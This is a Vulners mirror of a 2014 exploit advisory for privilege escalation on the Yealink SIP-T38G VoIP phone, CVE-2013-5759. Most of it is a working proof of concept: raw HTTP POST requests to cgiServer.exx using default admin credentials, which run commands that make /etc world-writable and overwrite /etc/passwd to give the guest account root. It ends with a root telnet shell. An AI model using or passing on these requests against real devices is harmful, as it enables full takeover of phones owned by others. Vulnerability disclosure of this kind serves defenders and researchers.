Lucene search
K

Yealink VoIP Phone SIP-T38G Privilege Escalation

🗓️ 13 Jun 2014 00:00:00Reported by Mr.Un1k0d3rType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 28 Views

Yealink VoIP Phone SIP-T38G Privilege Escalation using cgiServer.ex

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Yealink VoIP Phone SIP-T38G - Multiple Vulnerabilities
14 Jun 201400:00
zdt
CVE
CVE-2013-5758
3 Aug 201418:00
cve
CVE
CVE-2013-5759
3 Aug 201418:00
cve
Cvelist
CVE-2013-5758
3 Aug 201418:00
cvelist
Cvelist
CVE-2013-5759
3 Aug 201418:00
cvelist
Exploit DB
Yealink VoIP Phone SIP-T38G - Local File Inclusion
13 Jun 201400:00
exploitdb
Exploit DB
Yealink VoIP Phone SIP-T38G - Remote Command Execution
13 Jun 201400:00
exploitdb
Exploit DB
Yealink VoIP Phone SIP-T38G - Privilege Escalation
13 Jun 201400:00
exploitdb
exploitpack
Yealink VoIP Phone SIP-T38G - Remote Command Execution
13 Jun 201400:00
exploitpack
exploitpack
Yealink VoIP Phone SIP-T38G - Local File Inclusion
13 Jun 201400:00
exploitpack
Rows per page
`Title: Yealink VoIP Phone SIP-T38G Privileges Escalation  
Author: Mr.Un1k0d3r & Doreth.Z10 From RingZer0 Team  
Vendor Homepage: http://www.yealink.com/Companyprofile.aspx  
Version: VoIP Phone SIP-T38G  
CVE: CVE-2013-5759  
  
Description:  
  
Using the fact that cgiServer.exx run under the root privileges we use the  
command execution (CVE-2013-5758) to modify the system file restriction.  
Then we add extra privileges to the guest account.  
  
POC:  
  
Step 1 - Changing /etc folder right to 777:  
  
POST /cgi-bin/cgiServer.exx HTTP/1.1  
Host: 10.0.75.122  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Authorization: Basic YWRtaW46YWRtaW4=  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 0  
  
system("/bin/busybox%20chmod%20-R%20777%20/etc")  
  
Step 2 - Change guest user uid:  
  
POST /cgi-bin/cgiServer.exx HTTP/1.1  
Host: 10.0.75.122  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Authorization: Basic YWRtaW46YWRtaW4=  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 0  
  
system("echo "root:x:0:0:Root,,,:/:/bin/sh  
admin:x:500:500:Admin,,,:/:/bin/sh  
guest:x:0:0:Guest,,,:/:/bin/sh\" > /etc/passwd  
")  
  
Step 3 - Connect back using telnet and guest account (password is guest):  
  
# id  
uid=0(root) gid=0(root)  
  
Enjoy your root shell :)  
  
--   
*Mr.Un1k0d3r** or 1 #*  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation